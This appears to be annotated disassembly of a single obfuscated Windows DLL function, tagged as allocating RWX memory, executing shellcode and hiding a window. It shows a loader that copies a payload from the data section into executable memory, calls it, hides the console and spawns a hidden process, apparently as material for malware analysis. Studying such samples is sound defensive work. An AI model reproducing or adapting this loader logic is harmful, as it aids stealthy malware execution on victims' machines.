Function at 0x18003ef90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x20], xmm6
mov eax, dword [0x1800b0188]
mov ebx, dword [0x1800b018c]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete byte [rbp + 0xf]
cmp ebx, 0xa
setl byte [rbp + 0xe]
mov qword [rbp - 0x28], rcx
cmp edx, 1
mov ecx, 0xbe635408
mov eax, 0xb49b05be
cmovne ecx, eax
mov dword [rbp - 0x74], ecx
test edx, edx
mov ecx, 0xff11112f
cmovne ecx, eax
mov dword [rbp - 0x70], ecx
mov eax, 0xa549f623
mov ecx, 0x6f0b0f18
cmovle ecx, eax
mov dword [rbp - 0x6c], ecx
xorps xmm6, xmm6
mov r13, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r12, [0x180063d7a]
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x305668be
jmp 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc3f7e097
mov eax, 0xb9f02cff
nop dword [rax]
cmove ecx, eax
cmp dword [0x1800b018c], 0xa
cmovl ecx, eax
mov eax, ecx
cmp ecx, 0x5cefe85
jle 0x18003f0d0
cmp eax, 0x42ff1333
jle 0x18003f160
cmp eax, 0x5f1f69dc
jg 0x18003f254
cmp eax, 0x4de7cef9
jle 0x18003f408
cmp eax, 0x578da14d
jg 0x18003f777
cmp eax, 0x516a60c6
jle 0x18003fd60
cmp eax, 0x52ca8551
jg 0x18004077f
cmp eax, 0x51fd439a
jg 0x180041968
cmp eax, 0x516a60c7
je 0x180042be3
mov ecx, eax
cmp eax, 0x51f02f01
jne 0x18003f04d
cmp byte [rbp + 0xd], 0
mov ecx, 0xd9a81355
mov eax, 0x43399bfd
cmovne ecx, eax
jmp 0x18003f04d
cmp eax, 0xc1b95795
jle 0x18003f1f0
cmp eax, 0xe3d42a63
jle 0x18003f2c1
cmp eax, 0xf62acc53
jle 0x18003f46a
cmp eax, 0xfc5352d8
jg 0x18003f7ce
cmp eax, 0xf8c293ca
jle 0x18003fdac
cmp eax, 0xfa0f3735
jg 0x1800407c0
cmp eax, 0xf90c614e
jg 0x1800419af
cmp eax, 0xf8c293cb
je 0x180042c01
mov ecx, eax
cmp eax, 0xf8cc4a59
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x74e3d414
mov eax, 0x852ca7a9
jmp 0x18003f040
cmp eax, 0x23ac6aab
jle 0x18003f32e
cmp eax, 0x33291af9
jle 0x18003f4b8
cmp eax, 0x3b91c3fd
jg 0x18003f837
cmp eax, 0x367b0651
jle 0x18003fdf8
cmp eax, 0x3a11c6e8
jg 0x1800407ed
cmp eax, 0x37dfe2c2
jg 0x1800419d1
cmp eax, 0x367b0652
je 0x180042c0b
mov ecx, eax
cmp eax, 0x373125d4
jne 0x18003f04d
mov eax, dword [0x1800b0188]
mov ecx, dword [0x1800b018c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov eax, 0x5266e4d6
mov ebx, 0x6d94f12d
jmp 0x180042d0d
cmp eax, 0xa020b475
jle 0x18003f39b
cmp eax, 0xb4fc1175
jle 0x18003f51a
cmp eax, 0xbcdfd174
jg 0x18003f8d9
cmp eax, 0xb98dad5b
jle 0x18003fe44
cmp eax, 0xbafa1dab
jg 0x18004081a
cmp eax, 0xba6ec14b
jg 0x180041a07
cmp eax, 0xb98dad5c
je 0x180042c2e
mov ecx, eax
cmp eax, 0xb9f02cff
jne 0x18003f04d
mov ecx, 0xe17c88c3
jmp 0x18003f04d
cmp eax, 0x6f0b0f17
jle 0x18003f57c
cmp eax, 0x787cee16
jg 0x18003f91c
cmp eax, 0x740af357
jle 0x18003fe90
cmp eax, 0x758a86e4
jg 0x18004086d
cmp eax, 0x74e172b0
jg 0x180041a4f
cmp eax, 0x740af358
je 0x180042c38
mov ecx, eax
cmp eax, 0x742b1c6f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1c4c7e44
mov eax, 0xd8f4a595
jmp 0x18003f040
cmp eax, 0xcf50734a
jg 0x18003f5de
cmp eax, 0xc7650562
jle 0x18003f973
cmp eax, 0xcb19e7be
jle 0x18003fedc
cmp eax, 0xce861e19
jg 0x1800408ae
cmp eax, 0xcd5c6cd5
jg 0x180041a71
cmp eax, 0xcb19e7bf
je 0x180042c6b
mov ecx, eax
cmp eax, 0xcc4ba6d3
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3acadd10
mov eax, 0x312670a9
jmp 0x18003f040
cmp eax, 0x16e030b2
jg 0x18003f640
cmp eax, 0xed4e4d8
jle 0x18003f9ca
cmp eax, 0x12bb8ac1
jle 0x18003ff28
cmp eax, 0x1489711c
jg 0x1800408ff
cmp eax, 0x13e224a9
jg 0x180041aa7
cmp eax, 0x12bb8ac2
je 0x180042c89
mov ecx, eax
cmp eax, 0x12cdf96e
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7c670d70
mov eax, 0xa8b18d39
jmp 0x18003f040
cmp eax, 0x8fc366c9
jg 0x18003f729
cmp eax, 0x87375903
jle 0x18003fa33
cmp eax, 0x8b1e254e
jle 0x18003ff74
cmp eax, 0x8cf00821
jg 0x180040973
cmp eax, 0x8c9aebb4
jg 0x180041add
cmp eax, 0x8b1e254f
je 0x180042ca7
mov ecx, eax
cmp eax, 0x8b74e0af
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x1ad67f8d
mov eax, 0x720fce73
jmp 0x18003f040
cmp eax, 0x48a6fe9f
jle 0x18003faae
cmp eax, 0x4adef921
jle 0x18003ffa7
cmp eax, 0x4c163767
jg 0x1800409b4
cmp eax, 0x4bb84ebf
jg 0x180041afd
cmp eax, 0x4adef922
je 0x180042cb1
mov ecx, eax
cmp eax, 0x4b46277d
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc5484edd
mov eax, 0x8557f72d
jmp 0x18003f040
cmp eax, 0xeb1c6538
jle 0x18003faf1
cmp eax, 0xec764475
jle 0x18003fff3
cmp eax, 0xf14156da
jg 0x1800409e1
cmp eax, 0xf121c33a
jg 0x180041b7f
cmp eax, 0xec764476
je 0x180042ccf
mov ecx, eax
cmp eax, 0xeed9a898
jne 0x18003f04d
mov ecx, 0xe692be76
jmp 0x18003f04d
cmp eax, 0x2b36a98a
jle 0x18003fb34
cmp eax, 0x2fca7ff9
jle 0x180040063
cmp eax, 0x30ae01ff
jg 0x180040a22
cmp eax, 0x305668bd
jg 0x180041bb5
cmp eax, 0x2fca7ffa
je 0x180042cd9
mov ecx, eax
cmp eax, 0x2fef0fe3
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa00d5604
mov eax, 0x87375904
jmp 0x18003f040
cmp eax, 0xa6fc2a22
jle 0x18003fb9b
cmp eax, 0xad28e69a
jle 0x1800400af
cmp eax, 0xb1cea29d
jg 0x180040a66
cmp eax, 0xafe41c71
jg 0x180041beb
cmp eax, 0xad28e69b
je 0x180042ce3
mov ecx, eax
cmp eax, 0xadb65a95
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xec764476
mov eax, 0x2303c8ad
jmp 0x18003f040
cmp eax, 0x65e044d5
jle 0x18003fbf2
cmp eax, 0x687f3bfc
jle 0x18004010d
cmp eax, 0x6c244db7
jg 0x180040ae4
cmp eax, 0x69659316
jg 0x180041c21
cmp eax, 0x687f3bfd
je 0x180042d23
mov ecx, eax
cmp eax, 0x688c715c
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd19790e4
mov eax, 0x8f7dc6f9
jmp 0x18003f040
cmp eax, 0xd93bdddf
jle 0x18003fc5b
cmp eax, 0xdd696782
jle 0x180040159
cmp eax, 0xe104180f
jg 0x180040b25
cmp eax, 0xe0a2813c
jg 0x180041c43
cmp eax, 0xdd696783
je 0x180042d41
mov ecx, eax
cmp eax, 0xdf40ba5b
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x590c3174
mov eax, 0xbcdfd175
jmp 0x18003f040
cmp eax, 0x1d476e10
jle 0x18003fcb2
cmp eax, 0x210999ba
jle 0x180040191
cmp eax, 0x227a3c07
jg 0x180040b96
cmp eax, 0x2122729a
jg 0x180041c79
cmp eax, 0x210999bb
je 0x180042d5f
mov ecx, eax
cmp eax, 0x211a6b8d
jne 0x18003f04d
mov rax, qword [rbp - 0x20]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x18]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x18]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x18]
mov dword [rax + 0x3c], 1
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov rcx, qword [rbp - 0x28]
mov rdx, rbx
mov r8d, 0x104
call r13
add rsp, 0x20
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp + 0x18]
mov rcx, qword [rbp - 0x38]
sub rsp, 0x60
mov rdi, qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x8000010
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call fcn.18004bc40
add rsp, 0x60
mov ecx, 0x21d750ea
jmp 0x18003f04d
cmp eax, 0x9970e9ed
jle 0x18003fd09
cmp eax, 0x9d0bd49c
jle 0x1800401f6
cmp eax, 0x9e893f42
jg 0x180040bd7
cmp eax, 0x9dacf57d
jg 0x180041caf
cmp eax, 0x9d0bd49d
je 0x180042d7d
mov ecx, eax
cmp eax, 0x9d662488
jne 0x18003f04d
mov ecx, 0x264fbc3b
jmp 0x18003f04d
cmp eax, 0x5a65c0b0
jle 0x180040254
cmp eax, 0x5cab699c
jg 0x180040c04
cmp eax, 0x5b8d087f
jg 0x180041cd1
cmp eax, 0x5a65c0b1
je 0x180042d9b
mov ecx, eax
cmp eax, 0x5b253b8a
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb98dad5c
mov eax, 0xc6b268f4
jmp 0x18003f040
cmp eax, 0x1adcdf2
jle 0x1800402de
cmp eax, 0x379c273
jg 0x180040c7d
cmp eax, 0x1d6c671
jg 0x180041d07
cmp eax, 0x1adcdf3
je 0x180042dce
mov ecx, eax
cmp eax, 0x1bf868f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf136141a
mov eax, 0x9feed31a
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0xf136141a
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x3f216723
jle 0x18004032a
cmp eax, 0x41361cf5
jg 0x180040ccf
cmp eax, 0x3f8a3592
jg 0x180041d29
cmp eax, 0x3f216724
je 0x180042dec
mov ecx, eax
cmp eax, 0x3f5fdf73
jne 0x18003f04d
sub rsp, 0x20
mov edx, 0x46609
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov rbx, rax
mov qword [rax], 0
lea rcx, [rax + 8]
sub rsp, 0x20
mov r8d, 0x46601
lea rdx, section..data
call fcn.18004e8f0
add rsp, 0x20
lea rax, [rbx + 0xc]
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call rax
add rsp, 0x20
mov ecx, 0x710d4502
jmp 0x18003f04d
cmp eax, 0xbe814d17
jle 0x1800403c7
cmp eax, 0xc0c3713b
jg 0x180040d10
cmp eax, 0xc0553828
jg 0x180041d5f
cmp eax, 0xbe814d18
je 0x180042e0a
mov ecx, eax
cmp eax, 0xbf7537fc
jne 0x18003f04d
mov ecx, 0xcd5c6cd6
jmp 0x18003f04d
cmp eax, 0x7ad8e0d1
jle 0x180040413
cmp eax, 0x7d7189ab
jg 0x180040d51
cmp eax, 0x7c670d6f
jg 0x180041d95
cmp eax, 0x7ad8e0d2
je 0x180042e28
mov ecx, eax
cmp eax, 0x7b1e9dd4
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x211a6b8d
mov eax, 0x758a86e5
jmp 0x18003f040
cmp eax, 0xc464bc20
jle 0x18004044b
cmp eax, 0xc5919ae1
jg 0x180040d92
cmp eax, 0xc5484edc
jg 0x180041db7
cmp eax, 0xc464bc21
je 0x180042e46
mov ecx, eax
cmp eax, 0xc535b687
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe2654c64
mov eax, 0x8c9aebb5
jmp 0x18003f040
cmp eax, 0xbd2b673
jg 0x180040497
cmp eax, 0x8b5a6fb
jle 0x180040dd3
cmp eax, 0x9c47699
jg 0x180041e3b
cmp eax, 0x8b5a6fc
je 0x180042e64
mov ecx, eax
cmp eax, 0x949ce76
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x18180f55
mov eax, 0x37dfe2c3
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x18180f55
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x84986d5b
jg 0x1800404e3
cmp eax, 0x828cdad2
jle 0x180040e00
cmp eax, 0x82dd76f4
jg 0x180041e71
cmp eax, 0x828cdad3
je 0x180042e94
mov ecx, eax
cmp eax, 0x82cb4b10
jne 0x18003f04d
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1800301b0]
mov qword [rax], rcx
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x99517fd7
mov eax, 0x82dd76f5
jmp 0x18003f040
cmp eax, 0x457461a6
jg 0x18004052f
cmp eax, 0x439c187b
jle 0x180040e2d
cmp eax, 0x44cb12ad
jg 0x180041e93
cmp eax, 0x439c187c
je 0x180042e9e
mov ecx, eax
cmp eax, 0x440a0e7c
jne 0x18003f04d
mov ecx, 0x141b21c5
jmp 0x18003f04d
cmp eax, 0xe77f6f65
jg 0x18004057b
cmp eax, 0xe4596f51
jle 0x180040e6e
cmp eax, 0xe566c1c3
jg 0x180041eb5
cmp eax, 0xe4596f52
je 0x180042ebc
mov ecx, eax
cmp eax, 0xe480f77f
jne 0x18003f04d
mov ecx, 0x851e3623
jmp 0x18003f04d
cmp eax, 0x27b81540
jg 0x1800405c7
cmp eax, 0x2611bbcc
jle 0x180040eaf
cmp eax, 0x264fbc3a
jg 0x180041eeb
cmp eax, 0x2611bbcd
je 0x180042eda
mov ecx, eax
cmp eax, 0x262e8570
jne 0x18003f04d
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1800301b0]
mov qword [rax], rcx
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
mov ecx, 0xa4ce1f13
jmp 0x18003f04d
cmp eax, 0xa4ce1f12
jg 0x1800405ff
cmp eax, 0xa3742bf7
jle 0x180040ef0
cmp eax, 0xa45ffff2
jg 0x180041f0d
cmp eax, 0xa3742bf8
je 0x180042f0a
mov ecx, eax
cmp eax, 0xa45e4da2
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x165d68fc
mov eax, 0x9046c0b0
jmp 0x18003f040
cmp eax, 0x61537acc
jg 0x180040637
cmp eax, 0x60a4a157
jle 0x180040f1d
cmp eax, 0x6145dde2
jg 0x180041f43
cmp eax, 0x60a4a158
je 0x180042f6d
mov ecx, eax
cmp eax, 0x6115d982
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x962301aa
mov eax, 0xbafa1dac
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x962301aa
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0xd229b364
jg 0x180040683
cmp eax, 0xd08cf2c2
jle 0x180040f5e
cmp eax, 0xd19790e3
jg 0x180041f65
cmp eax, 0xd08cf2c3
je 0x180042f8b
mov ecx, eax
cmp eax, 0xd11b789e
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x51fd439b
mov eax, 0x66352d74
jmp 0x18003f040
cmp eax, 0x19bd973d
jg 0x1800406fb
cmp eax, 0x17fe30a1
jle 0x180040f9f
cmp eax, 0x1841bade
jg 0x180041f87
cmp eax, 0x17fe30a2
je 0x180042fa9
mov ecx, eax
cmp eax, 0x18180f55
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa00d5604
mov eax, 0x2fef0fe3
jmp 0x18003f040
cmp eax, 0x94fbb36e
jg 0x180040733
cmp eax, 0x91f55142
jle 0x180040fcc
cmp eax, 0x93469b5b
jg 0x180041fbd
cmp eax, 0x91f55143
je 0x180042fb3
mov ecx, eax
cmp eax, 0x92442a46
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4c6e83a6
mov eax, 0xba6ec14c
jmp 0x18003f040
cmp eax, 0x5058ebe5
jle 0x180040ff9
cmp eax, 0x510f013a
jg 0x180041ff3
cmp eax, 0x5058ebe6
je 0x180042fd1
mov ecx, eax
cmp eax, 0x50aef01a
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x33291afa
mov eax, 0xeb1c6539
jmp 0x18003f040
cmp eax, 0xf74557ba
jle 0x18004107e
cmp eax, 0xf7bac111
jg 0x180042029
cmp eax, 0xf74557bb
je 0x180042fdb
mov ecx, eax
cmp eax, 0xf780d934
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb1cea29e
mov eax, 0x60a4a158
jmp 0x18003f040
cmp eax, 0x35740ee6
jle 0x1800410bf
cmp eax, 0x36110a5f
jg 0x18004204b
cmp eax, 0x35740ee7
je 0x180042fe5
mov ecx, eax
cmp eax, 0x35bf7241
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xc5919ae2
mov eax, 0x8872f5ac
jmp 0x18003f040
cmp eax, 0xb88d99c1
jle 0x180041100
cmp eax, 0xb8efcc57
jg 0x180042081
cmp eax, 0xb88d99c2
je 0x180043003
mov ecx, eax
cmp eax, 0xb8da272e
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x578da14e
mov eax, 0x24b7e6d6
jmp 0x18003f040
cmp eax, 0x702def65
jle 0x180041141
cmp eax, 0x710d4501
jg 0x1800420a3
cmp eax, 0x702def66
je 0x180043021
mov ecx, eax
cmp eax, 0x7092fe8a
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7c670d70
mov eax, 0x12cdf96e
jmp 0x18003f040
cmp eax, 0xc93c93c4
jle 0x180041185
cmp eax, 0xcac0e2d3
jg 0x1800420d9
cmp eax, 0xc93c93c5
je 0x18004303f
mov ecx, eax
cmp eax, 0xca554991
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9dacf57e
mov eax, 0x23ac6aac
jmp 0x18003f040
cmp eax, 0xf5c29c4
jle 0x18004120b
cmp eax, 0x1210b578
jg 0x18004215b
cmp eax, 0xf5c29c5
je 0x180043049
mov ecx, eax
cmp eax, 0x10209ef8
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9c1e5102
mov eax, 0x3f216724
jmp 0x18003f040
cmp eax, 0x8872f5ab
jle 0x18004124c
cmp eax, 0x8a1373f2
jg 0x180042191
cmp eax, 0x8872f5ac
je 0x180043067
mov ecx, eax
cmp eax, 0x89039fd4
je 0x180041366
jmp 0x18003f04d
cmp eax, 0x4989ad48
jle 0x1800412c3
cmp eax, 0x4a249089
jg 0x1800421d9
cmp eax, 0x4989ad49
je 0x1800430bb
mov ecx, eax
cmp eax, 0x49e655e8
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7ce81a5b
mov eax, 0xbad31b37
jmp 0x18003f040
cmp eax, 0xebd04e18
jle 0x1800412f0
cmp eax, 0xec672cf6
jg 0x18004220f
cmp eax, 0xebd04e19
je 0x1800430c5
mov ecx, eax
cmp eax, 0xec1d67c5
jne 0x18003f04d
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x1800301b0]
mov qword [rax], rcx
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xcac0e2d4
mov eax, 0x123b1e6
jmp 0x18003f040
cmp eax, 0x2b78c695
jle 0x180041343
cmp eax, 0x2db954fe
jg 0x180042231
cmp eax, 0x2b78c696
je 0x1800430cf
mov ecx, eax
cmp eax, 0x2d6fa011
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6ab2e3a8
mov eax, 0x516a60c7
jmp 0x18003f040
cmp eax, 0xaab8cabf
jle 0x180041376
cmp eax, 0xab43e3d7
jg 0x180042267
cmp eax, 0xaab8cac0
je 0x1800430ff
mov ecx, eax
cmp eax, 0xaaf0057f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x13e224aa
mov eax, 0x204a725c
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x13e224aa
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x6678d743
jle 0x1800413b7
cmp eax, 0x680372ed
jg 0x1800422b2
cmp eax, 0x6678d744
je 0x18004311d
mov ecx, eax
cmp eax, 0x673a7127
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7acdbd79
mov eax, 0x4ec2df8d
jmp 0x18003f040
cmp eax, 0xd9f803ba
jle 0x1800413f8
cmp eax, 0xdac39c3c
jg 0x1800422d4
cmp eax, 0xd9f803bb
je 0x180043127
mov ecx, eax
cmp eax, 0xda086934
jne 0x18003f04d
mov ecx, 0x24a6ce34
jmp 0x18003f04d
cmp eax, 0x1ddbc5d4
jle 0x180041468
cmp eax, 0x204a725b
jg 0x18004230a
cmp eax, 0x1ddbc5d5
je 0x180043131
mov ecx, eax
cmp eax, 0x1f6bdf51
jne 0x18003f04d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7ef73834
mov eax, 0x62ea8540
jmp 0x18003f040
cmp eax, 0x9aec9999
jle 0x1800414a9
cmp eax, 0x9b5dcaf9
jg 0x180042359
cmp eax, 0x9aec999a
je 0x18004314f
mov ecx, eax
cmp eax, 0x9b217ec8
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x5b8d0880
mov eax, 0xb917c3ab
cmovne ecx, eax
cmp dword [0x1800b018c], 9
mov eax, 0x5b8d0880
cmovle ecx, eax
jmp 0x18003f04d
cmp eax, 0x590c3173
jle 0x1800414d6
cmp eax, 0x595667fe
jg 0x18004237b
cmp eax, 0x590c3174
je 0x180043159
mov ecx, eax
cmp eax, 0x590d5f23
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1800b018c], 0xa
setl dl
mov ebx, edx
and bl, al
xor al, dl
xor al, 1
or dl, cl
and dl, al
mov eax, ebx
xor al, dl
mov ecx, eax
xor cl, 1
xor dl, 1
or dl, bl
and al, dl
movzx eax, al
movzx ecx, cl
test dl, dl
cmove ecx, eax
test cl, cl
mov ecx, 0xfc5352d9
mov edx, 0xf780d934
cmovne ecx, edx
test al, al
cmovne ecx, edx
jmp 0x18003f04d
cmp eax, 0xfe417380
jle 0x180041546
cmp eax, 0x123b1e5
jg 0x1800423b1
cmp eax, 0xfe417381
je 0x180043194
mov ecx, eax
cmp eax, 0xff11112f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x191c8fcd
mov eax, 0x9d0bd49d
jmp 0x18003f040
cmp eax, 0x3d1bc43d
jle 0x180041587
cmp eax, 0x3e6aa911
jg 0x1800423d3
cmp eax, 0x3d1bc43e
je 0x1800431b2
mov ecx, eax
cmp eax, 0x3df99694
jne 0x18003f04d
mov rbx, qword [rbp]
sub rsp, 0x20
mov edx, 0x200
mov rcx, rbx
mov r8, r12
mov r9d, 0x46601
call fcn.180044ff0
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x104
call r14
mov edx, 0x200
mov rcx, rbx
call fcn.180051ec0
add rsp, 0x20
mov rdx, qword [rbp - 8]
sub rsp, 0x20
mov rcx, rbx
call fcn.1800452d0
add rsp, 0x20
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb29b945a
mov eax, 0x19bd973e
jmp 0x18003f040
cmp eax, 0xbde7da8c
jle 0x1800415c8
cmp eax, 0xbe1fe1bc
jg 0x1800423f5
cmp eax, 0xbde7da8d
je 0x1800431d0
mov ecx, eax
cmp eax, 0xbe10e47f
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x65e044d6
mov eax, 0xf5c29c5
jmp 0x18003f040
cmp eax, 0x7951428c
jle 0x1800415f5
cmp eax, 0x7aaed6ef
jg 0x180042479
cmp eax, 0x7951428d
je 0x1800431ee
mov ecx, eax
cmp eax, 0x79546316
jne 0x18003f04d
mov ecx, 0x210999bb
jmp 0x18003f04d
cmp eax, 0xc292bc21
jle 0x180041636
cmp eax, 0xc3d4e47f
jg 0x18004249b
cmp eax, 0xc292bc22
je 0x18004321e
mov ecx, eax
cmp eax, 0xc2d29c60
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x6145dde3
mov eax, 0x360f43b
jmp 0x18003f040
cmp eax, 0xd2cfe24
jle 0x180041663
cmp eax, 0xe9aeb0d
jg 0x1800424bd
cmp eax, 0xd2cfe25
je 0x18004323c
mov ecx, eax
cmp eax, 0xdeb97d3
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4de7cefa
mov eax, 0xe0f7b26a
jmp 0x18003f040
cmp eax, 0x8557f72c
jle 0x1800416c8
cmp eax, 0x8651d736
jg 0x1800424f3
cmp eax, 0x8557f72d
je 0x180043246
mov ecx, eax
cmp eax, 0x85ddc4eb
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x457461a7
mov eax, 0x680372ee
jmp 0x18003f040
cmp eax, 0x47bda866
jle 0x18004171b
cmp eax, 0x4821983f
jg 0x180042529
cmp eax, 0x47bda867
je 0x180043264
mov ecx, eax
cmp eax, 0x47d07f21
jne 0x18003f04d
mov eax, dword [0x1800b0188]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb4fc1176
mov eax, 0x58c5aa95
jmp 0x18003f040
cmp eax, 0xe8b0c910
jle 0x18004175c
cmp eax, 0xe98b4349
jg 0x18004255f
cmp eax, 0xe8b0c911
je 0x180043282
mov ecx, eax
